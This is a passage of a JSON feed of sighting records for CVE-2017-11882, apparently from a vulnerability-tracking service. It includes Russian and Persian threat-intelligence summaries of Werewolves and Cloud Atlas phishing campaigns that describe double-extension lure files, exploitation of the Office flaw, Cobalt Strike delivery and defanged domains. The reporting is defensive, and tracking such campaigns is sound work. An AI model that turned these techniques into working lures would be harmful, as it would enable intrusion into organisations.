"vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://gist.github.com/aw-junaid/ed4c9b80a0df02f1c0450c1280c54404", "content": "", "creation_timestamp": "2026-02-20T13:55:24.000000Z"}, {"uuid": "bb06ed5e-2a09-45fa-aed3-6a4249719391", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://gist.github.com/Cyb0rgbytes/57605ba347a910ea6f3b91981f9aba52", "content": "", "creation_timestamp": "2026-02-21T18:04:21.000000Z"}, {"uuid": "dc200543-4e98-4cba-88d8-329ae4ecadb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-3617e30a-9739fc4d310d17af", "content": "", "creation_timestamp": "2025-12-25T12:52:39.049886Z"}, {"uuid": "0ba420b1-838a-48c0-ad3a-34cac9bdd1f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/ceacc1f5-a3f6-411a-ab1d-38d9f90e92cd", "content": "", "creation_timestamp": "2025-12-31T22:06:45.000000Z"}, {"uuid": "6ba20a4c-6dcc-44bc-ac68-d003b34a9434", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/fdda4963-0aa7-4d15-8a8f-969db8f304ca", "content": "", "creation_timestamp": "2025-02-28T23:49:13.272798Z"}, {"uuid": "6e9e110e-5660-4bb4-906c-08a9d2c2594e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/aa41eeca-49c6-4f4a-b1f9-2f04942bb240", "content": "", "creation_timestamp": "2026-02-02T12:28:54.226150Z"}, {"uuid": "7e7cabcf-ebbe-4984-82bd-b546df559eb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/7174", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 F6\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0432\u043e\u043b\u043d\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a, \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e\u00a0Werewolves \u0438 \u043c\u0438\u043d\u0438\u0440\u0443\u044e\u0449\u0443\u044e \u043f\u043e\u0434 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0435 \u0434\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u044b\u0435 \u043f\u0440\u0435\u0442\u0435\u043d\u0437\u0438\u0438 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0437\u0430\u0432\u043e\u0434\u0430 \u0441\u043f\u0435\u0446\u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u0431\u0430\u0437\u044b \u043e\u0442\u0434\u044b\u0445\u0430 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\n\nWerewolves\u00a0- \u0433\u0440\u0443\u043f\u043f\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0441 2023 \u0433\u043e\u0434\u0430, \u0432 \u0430\u0440\u0441\u0435\u043d\u0430\u043b\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Anydesk, Netscan, CobaltStrike, Meterpreter \u0438 Lockbit.\n\n\u0425\u0430\u043a\u0435\u0440\u044b \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0438 IT-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u0438 \u0441\u0442\u0440\u0430\u0445\u043e\u0432\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \n\n\u0411\u0430\u043d\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u0434\u0432\u043e\u0439\u043d\u043e\u0433\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430: \u043f\u043e\u043c\u0438\u043c\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0432\u044b\u043a\u0443\u043f\u0430 \u0437\u0430 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u044b\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 DLS \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0442\u0435\u0445, \u043a\u0442\u043e \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u043b\u0430\u0442\u0438\u0442\u044c.\n\n\u041f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f Werewolves \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c\u00a0\u0432 \u043c\u0430\u0440\u0442\u0435 2025 \u0433\u043e\u0434\u0430, \u0430 \u0435\u0449\u0435 \u0440\u0430\u043d\u0435\u0435 \u0432\u0435\u0441\u043d\u043e\u0439\u00a024-\u0433\u043e, \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0438\u00a0\u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0435 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0442\u0435\u043c\u0443 \u0432\u0435\u0441\u0435\u043d\u043d\u0435\u0433\u043e \u043f\u0440\u0438\u0437\u044b\u0432\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435\u00a0\u0441\u043e\u0437\u0434\u0430\u043b\u0438\u00a0\u0434\u043e\u043c\u0435\u043d kzst45[.]ru, \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0439\u0441\u044f \u043f\u043e\u0434 \u0441\u0430\u0439\u0442 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0441\u043f\u0435\u0446\u0442\u0435\u0445\u043d\u0438\u043a\u0438.\n\n\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u0433\u043e Werewolves \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u043b\u0438\u00a0\u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0442\u0435\u043c\u0430\u043c\u0438 \u00ab\u0414\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u0430\u044f \u043f\u0440\u0435\u0442\u0435\u043d\u0437\u0438\u044f\u00bb \u0438 \u00ab\u0420\u0435\u043a\u043b\u0430\u043c\u0430\u0446\u0438\u044f\u00bb, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438\u0441\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0432\u0448\u0438\u0435 Cobalt Strike's Beacon.\n\n\u0412\u0435\u0441\u043d\u043e\u0439 2025 \u0433\u043e\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 F6 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0444\u0435\u0440, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0431\u0430\u043d\u043a\u0438, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0440\u0438\u0442\u0435\u0439\u043b \u0438 \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0432 \u0438\u044e\u043d\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u043d\u043e\u0432\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0443, \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 - \u0432 \u0430\u0434\u0440\u0435\u0441 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0438 \u0440\u0438\u0442\u0435\u0439\u043b\u0435\u0440\u043e\u0432.\n\n\u0414\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043f\u0438\u0441\u044c\u043c\u0430 \u043f\u0440\u0430\u0432\u043e\u0432\u043e\u0439 \u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438. \u0413\u0440\u0443\u043f\u043f\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u0442 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439, \u0447\u0442\u043e \u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0442\u0435\u043c \u0432 \u0438\u044e\u043d\u044c\u0441\u043a\u0438\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c: \u00ab\u0414\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u0430\u044f \u043f\u0440\u0435\u0442\u0435\u043d\u0437\u0438\u044f\u00bb, \u00ab\u0414\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u043e\u0435\u00bb, \u00ab\u0423\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 (\u0434\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u043e\u0435)\u00bb.\n\n\u0412\u043e \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u043b\u0441\u044f \u0430\u0440\u0445\u0438\u0432 \u0441\u00a0LNK-\u0444\u0430\u0439\u043b, \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0434\u0432\u043e\u0439\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Microsoft Office \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2017-11882.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u043c\u043e\u043c \u0430\u0440\u0445\u0438\u0432\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0441\u044f \u0444\u0430\u0439\u043b \u0441 \u0434\u0432\u043e\u0439\u043d\u044b\u043c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c .pdf.lnk, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 (PDF, DOC \u0438 \u0442.\u0434.).\n\n\u0420\u0430\u0441\u0447\u0435\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 Windows \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b, \u0442.\u0435. \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0432\u0438\u0434\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \".pdf\u00bb, \u0447\u0442\u043e \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0431\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0438 \u0436\u0435\u0440\u0442\u0432\u0430 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0444\u0430\u0439\u043b, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c\u00a0\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434.\u00a0\n\n\u0417\u0430\u043f\u0443\u0441\u043a \u0444\u0430\u0439\u043b\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\u00a0CVE-2017-11882, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043e\u0442\u043a\u0440\u044b\u0432\u0448\u0435\u0433\u043e \u0444\u0430\u0439\u043b.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u0442 \u0436\u0435 \u0434\u043e\u043c\u0435\u043d\u00a0\u0434\u043b\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0438\u0441\u0435\u043c, \u0447\u0442\u043e \u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0430\u0445: kzst45[.]ru, \u043c\u0438\u043c\u0438\u043a\u0440\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0440\u0435\u0441\u0443\u0440\u0441 kzst45[.]com.\n\n\u0422\u0430\u043a\u043e\u0439 \u0436\u0435 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f \u043f\u0440\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u043e\u043c\u0435\u043d\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044f \u0438\u0437 \u0441\u0432\u0435\u0436\u0438\u0445 \u0430\u0442\u0430\u043a \u2013 mysterykamchatka[.]ru, \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u043c\u0435\u043d \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0432 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0437\u043e\u043d\u0435 .com.\u00a0\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043f\u0443\u0444\u0438\u043d\u0433 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0430\u0445: \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u043f\u0438\u0441\u0435\u043c\u00a0\u0433\u0440\u0443\u043f\u043f\u0430 \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u0430 \u0430\u0434\u0440\u0435\u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044f, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u043e \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0433\u043b\u0430\u0432\u043d\u043e\u0433\u043e \u0431\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u0430\u044d\u0440\u043e\u043f\u043e\u0440\u0442\u043e\u0432.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 - Cobalt Strike's Beacon.\n\n\u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2025-06-27T11:43:23.000000Z"}, {"uuid": "58e4e6a5-665f-4418-98e9-84474b74504c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mjphoog36i2z", "content": "", "creation_timestamp": "2026-04-17T17:38:06.167168Z"}, {"uuid": "c04e3b03-9325-4b23-be19-855dd1137fb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "MISP/b51d5ffe-e680-4249-bf5e-df1a943ebd76", "content": "", "creation_timestamp": "2026-04-17T00:17:13.000000Z"}, {"uuid": "1b405bc4-577d-438d-a2d9-8dec0850156a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mk3unttifb2n", "content": "", "creation_timestamp": "2026-04-22T16:02:12.957014Z"}, {"uuid": "b5791777-3445-4e70-bb9b-857538896e19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "Telegram/43nF5lJhGtbb1qyAajHa3_tJPci6HOGVjssoxle-TcDWbss", "content": "", "creation_timestamp": "2025-08-14T03:00:05.000000Z"}, {"uuid": "4c72035e-e5ec-433b-abd1-8c8ab551bf32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "Telegram/ZlnkIEzMua1jj2SqZWBstvQ7VjbVzcyA1iobmDHoXbsYpl0", "content": "", "creation_timestamp": "2019-09-07T01:14:57.000000Z"}, {"uuid": "4b25f789-b6d9-4e82-ad8e-7891ac6160ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/ics_cert/1345", "content": "\u0645\u062d\u0642\u0642\u0627\u0646 \u062f\u0631 \u06af\u0632\u0627\u0631\u0634 \u062c\u062f\u06cc\u062f \u062e\u0648\u062f \u062a\u062d\u0644\u06cc\u0644\u06cc \u062f\u0631\u0628\u0627\u0631\u0647 \u062d\u0645\u0644\u0627\u062a \u0627\u062e\u06cc\u0631 \u06af\u0631\u0648\u0647 Cloud Atlas \u0628\u0647 \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u0641\u0639\u0627\u0644 \u062f\u0631 \u0628\u062e\u0634 \u06a9\u0634\u0627\u0648\u0631\u0632\u06cc \u0648 \u0635\u0646\u0627\u06cc\u0639 \u062f\u0641\u0627\u0639\u06cc \u0627\u0631\u0627\u0626\u0647 \u062f\u0627\u062f\u0646\u062f.\n\n\u0628\u0647 \u0637\u0648\u0631 \u06a9\u0644\u06cc\u060c \u062f\u0631 \u0637\u0648\u0644 \u0633\u0627\u0644 \u06f2\u06f0\u06f2\u06f5\u060c Cloud Atlas \u0641\u0639\u0627\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u0631\u0627 \u0627\u0641\u0632\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0648 \u0628\u0647 \u0634\u0631\u06a9\u062a\u200c\u0647\u0627\u06cc \u0631\u0648\u0633\u06cc \u0648 \u0628\u0644\u0627\u0631\u0648\u0633\u06cc \u062d\u0645\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\n\u0648\u06cc\u0698\u06af\u06cc \u0628\u0627\u0631\u0632 \u0622\u0646\u0647\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u0645\u0646\u0647\u200c\u0647\u0627\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a\u06cc \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0622\u0632\u0645\u0627\u06cc\u0634 \u0628\u0627 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \u067e\u06cc\u0648\u0633\u062a \u0634\u062f\u0647 \u0628\u0647 \u0627\u06cc\u0645\u06cc\u0644\u200c\u0647\u0627\u06cc \u0641\u06cc\u0634\u06cc\u0646\u06af \u0628\u0648\u062f.\n\n\u062f\u0631 \u0627\u0648\u0627\u0633\u0637 \u0627\u06a9\u062a\u0628\u0631\u060c \u0645\u062a\u062e\u0635\u0635\u0627\u0646  \u062d\u0645\u0644\u0647 \u062f\u06cc\u06af\u0631\u06cc \u0627\u0632 Cloud Atlas \u0631\u0627 \u062b\u0628\u062a \u06a9\u0631\u062f\u0646\u062f \u06a9\u0647 \u0647\u062f\u0641 \u0622\u0646 \u06cc\u06a9 \u0634\u0631\u06a9\u062a \u0631\u0648\u0633\u06cc \u062f\u0631 \u0628\u062e\u0634 \u06a9\u0634\u0627\u0648\u0631\u0632\u06cc \u0628\u0648\u062f - \u0647\u06a9\u0631\u0647\u0627 \u0628\u0647 \u0637\u0648\u0631 \u0633\u0646\u062a\u06cc \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u067e\u06cc\u0648\u0633\u062a \u0645\u062e\u0631\u0628 \u0627\u0632 \u0622\u062f\u0631\u0633 \u0627\u06cc\u0645\u06cc\u0644 mkrutij@list[.]ru \u0634\u0646\u0627\u062e\u062a\u0647 \u0634\u062f\u0646\u062f.\n\n\u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0637\u0639\u0645\u0647\u060c \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc \u0647\u0645\u0627\u06cc\u0634 \u06a9\u0634\u0627\u0648\u0631\u0632\u06cc \u00ab\u06af\u0646\u062f\u0645 \u0648 \u062f\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0631\u0648\u063a\u0646\u06cc \u06f2\u06f0\u06f2\u06f5: \u0628\u0631\u062f\u0627\u0631 \u062e\u0648\u0631\u0627\u06a9\u06cc\u00bb \u06a9\u0647 \u062f\u0631 \u06f3\u06f0 \u0627\u06a9\u062a\u0628\u0631 \u06f2\u06f0\u06f2\u06f5 \u062f\u0631 \u0645\u0633\u06a9\u0648 \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u0648 \u067e\u06cc\u0648\u0633\u062a \u0645\u062e\u0631\u0628 \u00ab\u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0645\u0627\u06cc\u0634 \u06af\u0646\u062f\u0645 \u0648 \u062f\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0631\u0648\u063a\u0646\u06cc.doc\u00bb \u0648\u0627\u0642\u0639\u0627\u064b \u0634\u0627\u0645\u0644 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0645\u0627\u06cc\u0634 